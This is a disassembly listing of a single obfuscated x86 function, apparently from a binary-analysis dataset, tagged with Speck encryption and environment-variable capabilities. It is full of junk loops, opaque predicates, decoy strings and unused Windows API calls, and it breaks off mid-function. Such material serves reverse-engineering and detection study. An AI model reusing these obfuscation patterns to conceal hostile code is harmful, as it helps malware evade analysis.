Function at 0x10007b40
Capabilities:
Encrypt data using speck
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10056f59
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1554
call fcn.10052b60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x5c0], 0x4a19
mov dword [ebp - 0xc88], str.vhhs_ttus_uewr_luludts_cyub_pxuz_bhl_lmnlrxts_tsq_xubdzam_gtkwgoykb_dpnfdf_rtruavnwa_pdnnlqmrj
cmp dword [ebp - 0x5c0], 0x4c08
jle 0x10007c6f
push 0
push 0x621
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
and dword [ebp - 0x3ec], 0
jmp 0x10007bb0
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x7667
jge 0x10007c6f
and dword [ebp - 0x430], 0
jmp 0x10007bd6
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0x7148
jge 0x10007c6a
and dword [ebp - 0x438], 0
jmp 0x10007bfc
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0xb7a
jge 0x10007c65
mov eax, dword [ebp - 0x3ec]
xor eax, dword [ebp - 0x430]
xor eax, dword [ebp - 0x438]
cdq
mov dword [ebp - 0xca4], eax
mov dword [ebp - 0xca0], edx
push dword [ebp - 0xca0]
push dword [ebp - 0xca4]
lea ecx, [ebp - 0x1290]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xb40], eax
mov ecx, dword [ebp - 0xb40]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x1290]
call fcn.10001c71
jmp 0x10007bef
jmp 0x10007bc9
jmp 0x10007ba3
and dword [ebp - 4], 0
cmp dword [ebp - 0x5c0], 0x47d8
jge 0x10007c8b
push dword [ebp - 0xc88]
call fcn.1003e6f6
pop ecx
jmp 0x10007ca7
or dword [ebp - 4], 0xffffffff
jmp 0x10007cb1
mov dword [ebp - 0x424], 0
jmp 0x10007cca
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 3
jge 0x10007ce6
mov eax, dword [ebp - 0x424]
mov dword [ebp + eax*4 - 0xe4c], 4
jmp 0x10007cbd
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xe4c], 0
jmp 0x10007d14
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe4c]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xe4c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xe4c], 0x12
jg 0x10007d42
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x10007d40
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
jmp 0x10007cf9
mov byte [ebp - 0x15e], 0
movzx eax, byte [ebp - 0x15e]
test eax, eax
je 0x10007d5f
push 0x242f
call dword [sym.imp.USER32.dll_GetSysColor]
mov dword [ebp - 0x240], 0x841b3c69
mov dword [ebp - 0x164], 0xfa42
mov dword [ebp - 0x43c], 0x40f2
mov dword [ebp - 0xc98], 0xffffffff
mov dword [ebp - 0x240], 5
jmp 0x10007da0
mov eax, dword [ebp - 0x240]
dec eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 4
jne 0x10007f59
mov dword [ebp - 0x1b0], 0xffffffff
mov dword [ebp - 0xaa0], 0x920a6ff6
mov dword [ebp - 0xaf0], 0xadd63529
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x1164], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x10bc], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x10b0], eax
imul eax, dword [ebp - 0x1b0], 6
cmp eax, dword [ebp - 0x1b0]
jl 0x10007e0a
mov dword [ebp - 0xa98], 1
jmp 0x10007e11
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0xaa0], eax
mov eax, dword [ebp - 0xaa0]
mov dword [ebp - 0xaf0], eax
mov eax, dword [ebp - 0xaf0]
mov dword [ebp - 0x1168], eax
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x43c], 0xe889ec00
jb 0x10007e59
mov dword [ebp - 0xaac], 1
jmp 0x10007e60
and dword [ebp - 0xaac], 0
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0xaac]
jge 0x10007e7a
mov dword [ebp - 0x4f4], 1
jmp 0x10007e81
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x4f4], eax
je 0x10007e9b
mov dword [ebp - 0xa78], 1
jmp 0x10007ea2
and dword [ebp - 0xa78], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0xa78], eax
jge 0x10007ebc
mov dword [ebp - 0x4e4], 1
jmp 0x10007ec3
and dword [ebp - 0x4e4], 0
cmp dword [ebp - 0x4e4], 1
jge 0x10007ed8
mov dword [ebp - 0xc90], 1
jmp 0x10007edf
and dword [ebp - 0xc90], 0
cmp dword [ebp - 0x1b0], 2
jg 0x10007ef4
mov dword [ebp - 0xa80], 1
jmp 0x10007efb
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0xa80], eax
jne 0x10007f15
mov dword [ebp - 0x4ec], 1
jmp 0x10007f1c
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x43c]
cmp dword [ebp - 0x4ec], eax
je 0x10007f36
mov dword [ebp - 0xa88], 1
jmp 0x10007f3d
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0xa88]
mov dword [ebp - 0xc98], eax
cmp dword [ebp - 0x43c], 0
je 0x10007f54
jmp 0x10007f59
jmp 0x10007d93
cmp dword [0x10070aa4], 0
jne 0x1000efd3
mov dword [ebp - 0xb2c], 0xfffffffd
mov dword [ebp - 0xb28], 0xfffffffd
mov dword [ebp - 0xb24], 0xfffffffd
mov dword [ebp - 0xb20], 0xfffffffd
mov dword [ebp - 0x8c], 1
mov dword [ebp - 0x1c8], 0xfffffff7
mov dword [ebp - 0x388], 0
jmp 0x10007fbb
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 4
jge 0x10007fd7
mov eax, dword [ebp - 0x388]
mov dword [ebp + eax*4 - 0x11b4], 0xec6e54ee
jmp 0x10007fae
mov dword [ebp - 0x8c], 3
jmp 0x10007ff0
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x1000810b
mov dword [ebp - 0x1130], 0xf368a901
mov dword [ebp - 0x10c0], 1
mov dword [ebp - 0xf38], 0
mov dword [ebp - 0xf3c], 8
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0xb2c]
mov dword [ebp - 0xf44], eax
mov eax, dword [ebp - 0x8c]
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x11b4]
sub ecx, 0x7cf
neg ecx
cmp ecx, dword [ebp + eax*4 - 0xb2c]
jle 0x10008068
mov dword [ebp - 0xa90], 1
jmp 0x1000806f
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0xb2c]
imul eax, dword [ebp - 0xa90]
mov ecx, dword [ebp - 0x8c]
cmp dword [ebp + ecx*4 - 0xb2c], eax
jl 0x1000809e
mov dword [ebp - 0xde0], 1
jmp 0x100080a5
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0xb2c]
mov dword [ebp - 0xf4c], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x11b4]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c8], 3
jmp 0x100080e4
mov eax, dword [ebp - 0x1c8]
dec eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jl 0x10008106
mov dword [ebp - 0x7f4], 0xfffffff8
mov eax, dword [ebp - 0x7f4]
inc eax
mov dword [ebp - 0x7f4], eax
jmp 0x100080d7
jmp 0x10007fe3
mov dword [ebp - 0x114], 1
mov dword [ebp - 0x4ac], 0xffffffff
mov dword [ebp - 0x248], 0
jmp 0x10008138
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 4
jge 0x10008154
mov eax, dword [ebp - 0x248]
mov dword [ebp + eax*4 - 0x1f8], 0x4e064826
jmp 0x1000812b
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x1f8], 0xffffffe8
jmp 0x1000817f
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1f8], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1f8], 0xfffffff3
jle 0x1000882b
mov dword [ebp - 0xe30], 0
mov dword [ebp - 0x4fc], 0x4c0d
mov dword [ebp - 0xdf0], str.jcfkwn_ugz_ylj_ipmitmpze_atdnlofh
cmp dword [ebp - 0x4fc], 0x4f7f
jle 0x1000831a
push 0x1d80
push 0x1f09
push 0x62a
push 0
push 0x1826
push 0xa1d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0xb6a
push 0xb2d
push 0xa80
push 0x1f21
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
and dword [ebp - 0x390], 0
jmp 0x10008227
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x3e70
jge 0x1000831a
and dword [ebp - 0x418], 0
jmp 0x1000824d
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x68d8
jge 0x10008315
and dword [ebp - 0x250], 0
jmp 0x10008273
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x4e2b
jge 0x10008310
and dword [ebp - 0x258], 0
jmp 0x10008299
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0x1b41
jge 0x1000830b
mov ecx, dword [ebp - 0x418]
imul ecx, dword [ebp - 0x250]
mov eax, dword [ebp - 0x390]
sar eax, cl
xor eax, dword [ebp - 0x258]
cdq
mov dword [ebp - 0xcb0], eax
mov dword [ebp - 0xcac], edx
push dword [ebp - 0xcac]
push dword [ebp - 0xcb0]
lea ecx, [ebp - 0x13e0]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xde8], eax
mov ecx, dword [ebp - 0xde8]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x13e0]
call fcn.10001c71
jmp 0x1000828c
jmp 0x10008266
jmp 0x10008240
jmp 0x1000821a
mov dword [ebp - 4], 2
cmp dword [ebp - 0x4fc], 0x48fe
jge 0x10008339
push dword [ebp - 0xdf0]
call fcn.1003e6f6
pop ecx
jmp 0x10008355
or dword [ebp - 4], 0xffffffff
jmp 0x1000835f
mov dword [ebp - 0x420], 0
jmp 0x10008378
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 2
jge 0x10008394
mov eax, dword [ebp - 0x420]
mov dword [ebp + eax*4 - 0x4b8], 0x7e4fc22
jmp 0x1000836b
mov dword [ebp - 0x97c], 0x8ea
mov dword [ebp - 0xe20], str.azr_okolak_kdtv_rwfrbpz_lcmc_sobk_tzriprg_ickvsula_ksbbfav_anrgvnr_tiof_yqg_vkmu
cmp dword [ebp - 0x97c], 0x9db
jle 0x10008462
and dword [ebp - 0x268], 0
jmp 0x100083ce
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x4fe
jge 0x10008462
and dword [ebp - 0x260], 0
jmp 0x100083f4
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0xf47
jge 0x1000845d
and dword [ebp - 0x428], 0
jmp 0x10008416
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0x22fe
jge 0x1000845b
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x428]
shl eax, cl
or eax, dword [ebp - 0x268]
cdq
mov dword [ebp - 0xcbc], eax
mov dword [ebp - 0xcb8], edx
push dword [ebp - 0xcb8]
push dword [ebp - 0xcbc]
mov ecx, 0x1006f958
call fcn.10001c9b
jmp 0x10008409
jmp 0x100083e7
jmp 0x100083c1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1f8]
mov dword [ebp - 0xf54], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4b8], 0xffff
jbe 0x1000849d
mov eax, 0xdca2
test eax, eax
je 0x1000849d
mov dword [ebp - 0x974], 1
jmp 0x100084a4
and dword [ebp - 0x974], 0
cmp dword [ebp - 0x974], 0xf12f
jg 0x100084bc
mov dword [ebp - 0x504], 1
jmp 0x100084c3
and dword [ebp - 0x504], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
imul eax, dword [ebp - 0x504]
test eax, eax
jae 0x100084e6
mov dword [ebp - 0x7fc], 1
jmp 0x100084ed
and dword [ebp - 0x7fc], 0
cmp dword [ebp - 0x7fc], 1
jge 0x10008502
mov dword [ebp - 0x50c], 1
jmp 0x10008509
and dword [ebp - 0x50c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
cmp dword [ebp - 0x50c], eax
je 0x10008529
mov dword [ebp - 0xa34], 1
jmp 0x10008530
and dword [ebp - 0xa34], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
cmp dword [ebp - 0xa34], eax
jne 0x10008550
mov dword [ebp - 0x514], 1
jmp 0x10008557
and dword [ebp - 0x514], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4b8]
cmp dword [ebp - 0x514], eax
jg 0x10008578
mov dword [ebp - 0x804], 1
jmp 0x1000857f
and dword [ebp - 0x804], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f8]
cmp eax, dword [ebp - 0x804]
jne 0x100085a0
mov dword [ebp - 0xe14], 1
jmp 0x100085a7
and dword [ebp - 0xe14], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4b8]
mov dword [ebp - 0xf5c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 0xfffffffffffffff6
pop edx
sub edx, dword [ebp + ecx - 0x4b8]
cmp edx, dword [ebp + eax - 0x4b8]
jge 0x100085e5
mov dword [ebp - 0x51c], 1
jmp 0x100085ec
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x51c]
mov dword [ebp - 0x114], eax
mov dword [ebp - 4], 4
cmp dword [ebp - 0x97c], 0x8a8
jge 0x1000861b
mov edx, dword [ebp - 0xe20]
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x10008637
or dword [ebp - 4], 0xffffffff
jmp 0x10008641
mov dword [ebp - 0x52c], 0x1283
mov dword [ebp - 0xdac], str.gvgmoft_bwfe_kzzams_qmvob_ruvbndktm
cmp dword [ebp - 0x52c], 0x144b
jle 0x1000873d
and dword [ebp - 0x39c], 0
jmp 0x1000867b
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x4b7
jge 0x1000873d
and dword [ebp - 0x270], 0
jmp 0x100086a1
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x2dbb
jge 0x10008738
and dword [ebp - 0x238], 0
jmp 0x100086c7
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x4784
jge 0x10008733
mov eax, dword [ebp - 0x39c]
imul eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x238]
shl eax, cl
cdq
mov dword [ebp - 0xcc8], eax
mov dword [ebp - 0xcc4], edx
push dword [ebp - 0xcc4]
push dword [ebp - 0xcc8]
lea ecx, [ebp - 0x12c0]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xe28]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x12c0]
call fcn.10001c71
jmp 0x100086ba
jmp 0x10008694
jmp 0x1000866e
cmp dword [ebp - 0xe30], 0
jne 0x10008756
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4b8], 0
je 0x10008767
xor eax, eax
inc eax
je 0x10008767
mov dword [ebp - 0x524], 1
jmp 0x1000876e
and dword [ebp - 0x524], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
cmp dword [ebp - 0x524], eax
jl 0x1000878e
mov dword [ebp - 0xe1c], 1
jmp 0x10008795
and dword [ebp - 0xe1c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f8]
mov dword [ebp - 0xf64], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4b8], 0x95e0
jge 0x100087c7
mov dword [ebp - 0x80c], 1
jmp 0x100087ce
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0x80c]
mov dword [ebp - 0x114], eax
mov dword [ebp - 4], 6
cmp dword [ebp - 0x52c], 0x111a
jge 0x10008800
push dword [ebp - 0xdac]
call fcn.1003e6f6
pop ecx
jmp 0x1000881c
or dword [ebp - 4], 0xffffffff
jmp 0x10008826
jmp 0x10008166
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1f8], 0
je 0x10008850
mov eax, 0x7c927db4
test eax, eax
je 0x10008850
mov dword [ebp - 0xa94], 1
jmp 0x10008857
and dword [ebp - 0xa94], 0
cmp dword [ebp - 0x114], 0
jne 0x10008870
push 6
pop eax
test eax, eax
jne 0x10008870
and dword [ebp - 0xcc0], 0
jmp 0x1000887a
mov dword [ebp - 0xcc0], 1
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 1
mov ecx, dword [ebp + ecx - 0x1f8]
cmp ecx, dword [ebp + eax - 0x1f8]
jl 0x100088a0
mov dword [ebp - 0xc80], 1
jmp 0x100088a7
and dword [ebp - 0xc80], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
cmp eax, dword [ebp - 0x114]
jl 0x100088c7
mov dword [ebp - 0x534], 1
jmp 0x100088ce
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0xa94]
cmp eax, dword [ebp - 0x534]
jne 0x100088e8
mov dword [ebp - 0x814], 1
jmp 0x100088ef
and dword [ebp - 0x814], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x114]
add ecx, dword [ebp - 0x814]
add ecx, dword [ebp + eax - 0x1f8]
cmp ecx, 1
ja 0x10008918
mov dword [ebp - 0x53c], 1
jmp 0x1000891f
and dword [ebp - 0x53c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
cmp eax, dword [ebp - 0x53c]
jle 0x1000893f
mov dword [ebp - 0x984], 1
jmp 0x10008946
and dword [ebp - 0x984], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1f8]
add eax, dword [ebp - 0x984]
cmp eax, dword [ebp - 0x4ac]
jne 0x1000896c
mov dword [ebp - 0x544], 1
jmp 0x10008973
and dword [ebp - 0x544], 0
cmp dword [ebp - 0x544], 8
jne 0x10008988
mov dword [ebp - 0x81c], 1
jmp 0x1000898f
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x4ac]
cmp dword [ebp - 0x81c], eax
jl 0x100089b6
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1f8], 0
jne 0x100089b6
and dword [ebp - 0x54c], 0
jmp 0x100089c0
mov dword [ebp - 0x54c], 1
mov eax, dword [ebp - 0x54c]
neg eax
jne 0x100089dc
mov eax, 0x81b9
test eax, eax
jne 0x100089dc
and dword [ebp - 0xa3c], 0
jmp 0x100089e6
mov dword [ebp - 0xa3c], 1
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0xa3c]
sub ecx, dword [ebp + eax - 0x1f8]
jne 0x10008a0a
push 0xfffffffffffffff9
pop eax
test eax, eax
jne 0x10008a0a
and dword [ebp - 0x554], 0
jmp 0x10008a14
mov dword [ebp - 0x554], 1
cmp dword [ebp - 0x554], 0xffffffff
jge 0x10008a29
mov dword [ebp - 0x824], 1
jmp 0x10008a30
and dword [ebp - 0x824], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f8]
cmp dword [ebp - 0x824], eax
jg 0x10008a51
mov dword [ebp - 0xb4c], 1
jmp 0x10008a58
and dword [ebp - 0xb4c], 0
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0xf6c], eax
cmp dword [ebp - 0x4ac], 0xc007dfdc
jne 0x10008a7c
mov dword [ebp - 0x55c], 1
jmp 0x10008a83
and dword [ebp - 0x55c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x55c]
mov dword [ebp + eax - 0x1f8], ecx
mov byte [ebp - 0x234], 5
mov byte [ebp - 0x233], 0x23
mov byte [ebp - 0x232], 4
mov byte [ebp - 0x231], 9
mov byte [ebp - 0x230], 0xa
mov byte [ebp - 0x22f], 9
mov byte [ebp - 0x22e], 6
mov byte [ebp - 0x22d], 0x5f
mov byte [ebp - 0x22c], 8
mov byte [ebp - 0x22b], 0x1d
mov byte [ebp - 0x22a], 1
mov byte [ebp - 0x229], 0x4b
mov byte [ebp - 0x228], 2
mov byte [ebp - 0x227], 0xd4
mov byte [ebp - 0x226], 0xeb
mov byte [ebp - 0x225], 0xb
mov byte [ebp - 0x224], 9
mov byte [ebp - 0x223], 9
mov byte [ebp - 0x222], 8
mov byte [ebp - 0x221], 7
mov byte [ebp - 0x220], 0x56
mov byte [ebp - 0x21f], 2
mov byte [ebp - 0x21e], 0x40
mov byte [ebp - 0x21d], 3
mov byte [ebp - 0x21c], 0x1c
mov byte [ebp - 0x21b], 0
mov byte [ebp - 0x21a], 0x25
mov dword [ebp - 0x20], 0x7b4bc66
mov dword [ebp - 0x1e0], 2
mov dword [ebp - 0x1a0], 0x7a05
mov dword [ebp - 0x124], 1
mov dword [ebp - 0x5bc], 0x2e4bcb81
cmp dword [ebp - 0x20], 0x4ad3
jl 0x10008b96
mov dword [ebp - 0x82c], 1
jmp 0x10008b9d
and dword [ebp - 0x82c], 0
cmp dword [ebp - 0x20], 0
jne 0x10008bc1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xf74], eax
imul eax, dword [ebp - 0x20], 0x124d
sub eax, dword [ebp - 0x20]
jne 0x10008bc1
and dword [ebp - 0x98c], 0
jmp 0x10008bcb
mov dword [ebp - 0x98c], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x98c], eax
je 0x10008be2
mov dword [ebp - 0x564], 1
jmp 0x10008be9
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x564], eax
je 0x10008c00
mov dword [ebp - 0x56c], 1
jmp 0x10008c07
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x82c]
cmp eax, dword [ebp - 0x56c]
jl 0x10008c21
mov dword [ebp - 0xacc], 1
jmp 0x10008c28
and dword [ebp - 0xacc], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0xacc]
je 0x10008c45
mov eax, 0xf9b6917a
test eax, eax
jne 0x10008c45
and dword [ebp - 0x574], 0
jmp 0x10008c4f
mov dword [ebp - 0x574], 1
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x574], eax
jg 0x10008c69
cmp dword [ebp - 0x20], 0
jne 0x10008c69
and dword [ebp - 0x834], 0
jmp 0x10008c73
mov dword [ebp - 0x834], 1
mov eax, dword [ebp - 0x834]
sub eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
test eax, eax
je 0x10008cd9
mov dword [ebp - 0x278], 0
jmp 0x10008c9d
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 2
jge 0x10008cb9
mov eax, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0xe84], 0xfffffffa
jmp 0x10008c90
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe84]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe84], eax
jmp 0x100090a4
mov dword [ebp - 0x11c], 0xcb314b81
mov dword [ebp - 0x4cc], 0x7b249e3c
mov dword [ebp - 0x448], 0x309f33d4
mov dword [ebp - 0x280], 0x6bbb3073
mov dword [ebp - 0x3a4], 0
jmp 0x10008d1a
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 1
jge 0x10008d36
mov eax, dword [ebp - 0x3a4]
mov dword [ebp + eax*4 - 0x4d4], 5
jmp 0x10008d0d
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xf7c], eax
cmp dword [ebp - 0x11c], 0xaa9d707d
jne 0x10008d5a
mov dword [ebp - 0x57c], 1
jmp 0x10008d61
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x57c]
imul eax, eax, 0x7c26
imul eax, eax, 0x72be
mov dword [ebp - 0x4cc], eax
mov eax, dword [ebp - 0x4cc]
imul eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x20]
jle 0x10008d9a
mov dword [ebp - 0x994], 1
jmp 0x10008da1
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x994], eax
je 0x10008db8
mov dword [ebp - 0x584], 1
jmp 0x10008dbf
and dword [ebp - 0x584], 0
cmp dword [ebp - 0x584], 1
jg 0x10008dd4
mov dword [ebp - 0xdc4], 1
jmp 0x10008ddb
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0xf84], eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0xf8c], eax
cmp dword [ebp - 0x11c], 0
je 0x10008e03
cmp dword [ebp - 0x1e0], 0
cmp dword [ebp - 0x1a0], 0
jbe 0x10008e18
mov dword [ebp - 0x83c], 1
jmp 0x10008e1f
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x83c]
mov dword [ebp - 0x1e0], eax
mov eax, dword [ebp - 0x1e0]
add eax, dword [ebp - 0x11c]
cmp eax, 0xfffc
jne 0x10008e4f
xor eax, eax
inc eax
je 0x10008e4f
mov dword [ebp - 0x58c], 1
jmp 0x10008e56
and dword [ebp - 0x58c], 0
mov eax, dword [ebp - 0x58c]
neg eax
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0xfffffffe
jb 0x10008e85
mov dword [ebp - 0xa44], 1
jmp 0x10008e8c
and dword [ebp - 0xa44], 0
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0xa44]
jg 0x10008eac
cmp dword [ebp - 0x280], 0
jne 0x10008eac
and dword [ebp - 0x594], 0
jmp 0x10008eb6
mov dword [ebp - 0x594], 1
cmp dword [ebp - 0x594], 0x1c1d
jle 0x10008ece
mov dword [ebp - 0x844], 1
jmp 0x10008ed5
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x1a0]
imul eax, dword [ebp - 0x844]
neg eax
jne 0x10008ef5
cmp dword [ebp - 0x20], 0
jne 0x10008ef5
and dword [ebp - 0x59c], 0
jmp 0x10008eff
mov dword [ebp - 0x59c], 1
mov eax, dword [ebp - 0x1a0]
imul eax, dword [ebp - 0x59c]
imul eax, eax, 0xffffffff
cmp eax, dword [ebp - 0x280]
jl 0x10008f23
mov dword [ebp - 0x99c], 1
jmp 0x10008f2a
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x99c]
dec eax
jne 0x10008f3f
mov dword [ebp - 0x5a4], 1
jmp 0x10008f46
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 0x124], 0
jmp 0x10008f6b
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0
jl 0x100090a4
mov dword [ebp - 0x488], 0x485393f1
cmp dword [ebp - 0x11c], 0x4bca
je 0x10008f9a
mov dword [ebp - 0x84c], 1
jmp 0x10008fa1
and dword [ebp - 0x84c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d4]
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0
jne 0x10008fcf
cmp dword [ebp - 0x488], 0
jne 0x10008fcf
and dword [ebp - 0xb54], 0
jmp 0x10008fd9
